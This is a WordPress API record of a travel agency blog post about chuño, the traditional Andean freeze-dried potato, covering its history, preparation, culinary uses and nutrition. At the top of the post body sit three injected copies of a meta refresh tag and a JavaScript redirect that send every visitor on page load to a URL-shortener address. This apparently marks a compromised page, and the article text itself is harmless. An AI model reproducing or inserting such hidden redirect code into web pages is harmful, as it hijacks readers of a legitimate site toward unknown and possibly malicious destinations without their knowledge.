{"id":11402,"date":"2025-08-19T12:31:00","date_gmt":"2025-08-19T17:31:00","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=11402"},"modified":"2025-08-19T12:31:03","modified_gmt":"2025-08-19T17:31:03","slug":"the-chuno-an-andean-tradition-of-preservation","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/the-chuno-an-andean-tradition-of-preservation\/","title":{"rendered":"The Chu\u00f1o: An Andean Tradition of Preservation"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>Thousands of years ago, even before the powerful<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-inca-empires-greatness-the-story-of-tahuantinsuyo\/\"><strong> Inca Empire<\/strong><\/a>, ancient Peruvians found a method to preserve food that could last decades. This ancient and practical technique ensured feeding men, women, and children for years.<\/p>\n\n\n\n<p>Even today, as of 2024, people in the Andes keep using this method to preserve <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/perus-gift-to-the-world-the-timeless-legacy-of-the-potato\/\"><strong>potatoes<\/strong><\/a>, a precious staple in Peru. <\/p>\n\n\n\n<p>The star of today\u2019s article is the \u201cchu\u00f1o\u201d. Join us as we discover the secrets of this humble but useful food that keeps feeding thousands. Let\u2019s also see the details about history and traditions. Let\u2019s go!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>What exactly is Chu\u00f1o?<\/strong><\/h2>\n\n\n\n<p>Chu\u00f1o (pronounced choo-nyoh) is basically a freeze-dried potato. It\u2019s made by using the natural freezing temperatures of the Andes Mountains at night and the bright sun during the day. <\/p>\n\n\n\n<p>The process preserves the potato, turning it into a lightweight, long-lasting food.&nbsp;Chu\u00f1o is like nature\u2019s magic trick, but it came into existence thanks to Andean farmers thousands of years ago.<\/p>\n\n\n\n<p> Chu\u00f1o can last for years without spoiling, making it one of the earliest \u201csurvival foods.\u201d Even today, chu\u00f1o remains an important part of life in the Andes, providing nourishment for families and communities.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The History of Chu\u00f1o<\/strong><\/h2>\n\n\n\n<p>Although there are no exact sources of chu\u00f1o\u2019s origin, ancient <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/know-more-about-indigenous-peoples-in-peru\/\"><strong>indigenous peoples<\/strong><\/a> in the Andes developed techniques to dehydrate and preserve potatoes. <\/p>\n\n\n\n<p>Later, the mighty Inca Empire adopted the technique of making chu\u00f1o, and it became a key part of their food system.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/3171974578_47c24ebd01_k.jpg?resize=697%2C523&#038;ssl=1\" alt=\"Black and white chu\u00f1o\" class=\"wp-image-11408\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/3171974578_47c24ebd01_k.jpg?resize=1024%2C768&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/3171974578_47c24ebd01_k.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/3171974578_47c24ebd01_k.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/3171974578_47c24ebd01_k.jpg?resize=1536%2C1152&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/3171974578_47c24ebd01_k.jpg?resize=640%2C480&amp;ssl=1 640w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/3171974578_47c24ebd01_k.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/3171974578_47c24ebd01_k.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>The Incas were expert farmers and innovators, cultivating hundreds of potato varieties in the Andes, the birthplace of the potato.<\/p>\n\n\n\n<p> But they also needed a way to store food for long journeys, wars, and harsh winters, so chu\u00f1o was the perfect solution. Lightweight and easy to carry, it became an essential part of their diet.<\/p>\n\n\n\n<p>&nbsp;When the <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-spanish-conquest-in-peru\/\"><strong>Spanish<\/strong><\/a> conquistadors arrived in the 16th century, they noticed how chu\u00f1o played a big role in feeding the Andean people. Chu\u00f1o even became part of the rations for Spanish armies, spreading its fame beyond the Andes.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>How do people make chu\u00f1o?<\/strong><\/h2>\n\n\n\n<p>The process of making chu\u00f1o has hardly changed since ancient times. It\u2019s a blend of patience, nature, and tradition. Here\u2019s how it works:<\/p>\n\n\n\n<p><strong>Freezing the Potatoes:<\/strong> People lay out small, bitter potatoes under the open sky and leave them to freeze overnight. The high altitude and cold Andean nights naturally freeze the potatoes.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/2646474078_3dc9b2c941_o.jpg?resize=697%2C523&#038;ssl=1\" alt=\"Andean woman making chu\u00f1o\" class=\"wp-image-11404\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/2646474078_3dc9b2c941_o.jpg?resize=1024%2C768&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/2646474078_3dc9b2c941_o.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/2646474078_3dc9b2c941_o.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/2646474078_3dc9b2c941_o.jpg?resize=1536%2C1152&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/2646474078_3dc9b2c941_o.jpg?resize=640%2C480&amp;ssl=1 640w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/2646474078_3dc9b2c941_o.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/2646474078_3dc9b2c941_o.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Andean woman making chu\u00f1o.<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p><strong>Thawing and drying: <\/strong>During the day, the potatoes thaw under the sun. This freezing-and-thawing cycle is repeated for several days.<\/p>\n\n\n\n<p><strong>Stomping the Potatoes: <\/strong>After freezing and softening, families stomp on the potatoes with their bare feet to squeeze out any water. This step also helps remove the potato skin.<\/p>\n\n\n\n<p><strong>Drying Again: <\/strong>The potatoes are left to dry completely under the sun. What\u2019s left is chu\u00f1o\u2014small, hard, lightweight potatoes that are as tough as rocks but full of history. There are two types of chu\u00f1o:<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile is-image-fill-element\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/b03958ea6c2c169ec3da3c4fe15db486.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Chu\u00f1o blanco y negro\" class=\"wp-image-11405 size-full\" style=\"object-position:50% 50%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/b03958ea6c2c169ec3da3c4fe15db486.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/b03958ea6c2c169ec3da3c4fe15db486.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/b03958ea6c2c169ec3da3c4fe15db486.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/b03958ea6c2c169ec3da3c4fe15db486.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/b03958ea6c2c169ec3da3c4fe15db486.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><strong>Chu\u00f1o negro:<\/strong> Made using the traditional freezing process described above.<\/p>\n\n\n\n<p> <strong>Chu\u00f1o blanco or Moraya:<\/strong> Involves soaking the potatoes in water for several days before drying them, resulting in a lighter color.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>How is Chu\u00f1o Used in Cooking?<\/strong><\/h2>\n\n\n\n<p>Chu\u00f1o may look simple, but it\u2019s incredibly versatile in the kitchen. In Andean cuisine, people use chu\u00f1o to <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-best-soups-in-peruvian-cuisine-a-warm-and-tasty-journey\/\" title=\"\">make soups<\/a><\/strong>, stews, and even desserts! <\/p>\n\n\n\n<p>This adds a unique texture and flavor to dishes. One popular dish is &#8220;revuelto de chu\u00f1o&#8221;, a hearty Andean breakfast made by cooking chu\u00f1o with eggs, cheese, and onions.&nbsp;<\/p>\n\n\n\n<p>People also ground chu\u00f1o into flour to make bread and even <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-flavors-guide-to-perus-best-traditional-desserts\/\" title=\"\">Peruvian desserts<\/a><\/strong>. Because it\u2019s so lightweight, it\u2019s the perfect food to carry on long trips through the mountains.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Chu\u00f1o&#8217;s Science and Benefits<\/strong><\/h3>\n\n\n\n<p>You might be wondering: How does chu\u00f1o last so long without rotting? The secret lies in the drying process. By freezing and removing almost all the water from the potato, chu\u00f1o becomes nearly indestructible<\/p>\n\n\n\n<p>Microorganisms like bacteria and mold need water to grow, so chu\u00f1o stays safe to eat even after months or years of storage. <\/p>\n\n\n\n<p>This ancient method of food preservation shows how Andean farmers used science long before modern technology.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/31943442328_ad89dd82af_k.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Black chu\u00f1o\" class=\"wp-image-11406\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/31943442328_ad89dd82af_k.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/31943442328_ad89dd82af_k.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/31943442328_ad89dd82af_k.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/31943442328_ad89dd82af_k.jpg?resize=1536%2C1024&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/31943442328_ad89dd82af_k.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/31943442328_ad89dd82af_k.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/31943442328_ad89dd82af_k.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Nutritionally, chu\u00f1o is a great source of carbohydrates. It gives you energy for your daily activities. It also keeps some vitamins and minerals from potatoes, like potassium, which is important for muscle function and heart health. <\/p>\n\n\n\n<p>When paired with other Andean grains in the <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-andean-diet-unlocking-the-key-to-longevity\/\" title=\"\">Andean diet, <\/a><\/strong>like quinoa or <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/discover-kiwicha-a-super-grain-from-the-andes\/\" title=\"\">kiwicha<\/a><\/strong>, chu\u00f1o helps create balanced and hearty meals. <\/p>\n\n\n\n<p>Chu\u00f1o is also lightweight and easy to carry, so farmers and travelers in the Andes really value its convenience, as it can be transported over long distances without spoiling.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Chu\u00f1o and Modern Times<\/strong><\/h2>\n\n\n\n<p>Today, chu\u00f1o remains an important part of life in the Andes, especially in rural areas where modern refrigeration is unavailable. Families often rely on chu\u00f1o as a reliable food source, especially during difficult times.<\/p>\n\n\n\n<p>Beyond its role as a staple food, chu\u00f1o is also gaining attention outside the Andes. Chefs and food enthusiasts around the world are curious about its unique flavor and history. <\/p>\n\n\n\n<p>As people explore sustainable and traditional foods, chu\u00f1o stands out as an incredible example of ancient wisdom.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"383\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/61941edaa9319858846aa9fc.jpg?resize=697%2C383&#038;ssl=1\" alt=\"Chu\u00f1o flour\" class=\"wp-image-11407\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/61941edaa9319858846aa9fc.jpg?resize=1024%2C563&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/61941edaa9319858846aa9fc.jpg?resize=300%2C165&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/61941edaa9319858846aa9fc.jpg?resize=768%2C422&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/61941edaa9319858846aa9fc.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Chu\u00f1os&#8217;s flour is practical in Peruvian food.<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>Chu\u00f1o is more than just a preserved potato: It\u2019s a symbol of human ingenuity, resilience, and connection to nature. <\/p>\n\n\n\n<p>It also shows how people in the Andes adapted to their tough environment with creativity and resourcefulness.<\/p>\n\n\n\n<p>For thousands of years, chu\u00f1o has sustained Andean communities, preserving their food, traditions, and cultural identity. It is a reminder of the incredible bond between humans and the Earth.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Conclusion<\/strong><\/h2>\n\n\n\n<p>Chu\u00f1o might seem like a humble food, but it\u2019s packed with history, tradition, and science. It has helped Andean people survive in one of the harshest environments on Earth for centuries. Today, it continues to nourish bodies and spirits while inspiring people around the world.<\/p>\n\n\n\n<p>So the next time you see a potato, think about chu\u00f1o\u2014the Andean superfood that proves just how ingenious humans can be when working hand in hand with nature. To learn more about <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-flavors-your-ultimate-guide-to-native-spices\/\"><strong>Peruvian flavors<\/strong><\/a> like the chu\u00f1o, keep reading our blog!<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p><strong><em>Viagens Machu Picchu <\/em><\/strong>also invites you to go further and visit the mysteries of our country. We\u2019re a specialized travel agency with more than 100,000 satisfied clients. <\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\" title=\"\">Contact us<\/a><\/strong> to learn more information or to take the first step into the adventure in Peru. We\u2019re waiting for you!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu: Journeys that inspire, moments that last.<\/em><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Chu\u00f1o, an ancient Andean superfood, is made by freeze-drying potatoes in the high-altitude Andes. Key to Inca survival, it lasts years, is versatile in cooking, and remains vital for rural communities. A symbol of ingenuity, chu\u00f1o inspires chefs worldwide.<\/p>\n","protected":false},"author":1,"featured_media":11403,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1850,3495],"tags":[3888,3900,3850,3891,3886,1749,3151,3887,3893,3892,3895,3898,3889,1509,3897,3896,3070,3890,3894,3899],"class_list":["post-11402","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-food","category-peruvian-flavors","tag-ancient-peruvians","tag-ancient-wisdom","tag-andean-cuisine","tag-andean-farmers","tag-andean-tradition","tag-andes-mountains","tag-carapulcra","tag-chuno","tag-chuno-blanco","tag-chuno-negro","tag-chuno-phuti","tag-drying-process","tag-freeze-dried-potato","tag-inca-empire","tag-modern-refrigeration","tag-moraya","tag-peruvian-flavors","tag-staple-in-peru","tag-survival-foods","tag-sustainable-foods"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/12\/3911113141_07f99b7550_k.jpg?fit=2047%2C1365&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-2XU","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/11402","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=11402"}],"version-history":[{"count":5,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/11402\/revisions"}],"predecessor-version":[{"id":17825,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/11402\/revisions\/17825"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/11403"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=11402"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=11402"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=11402"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}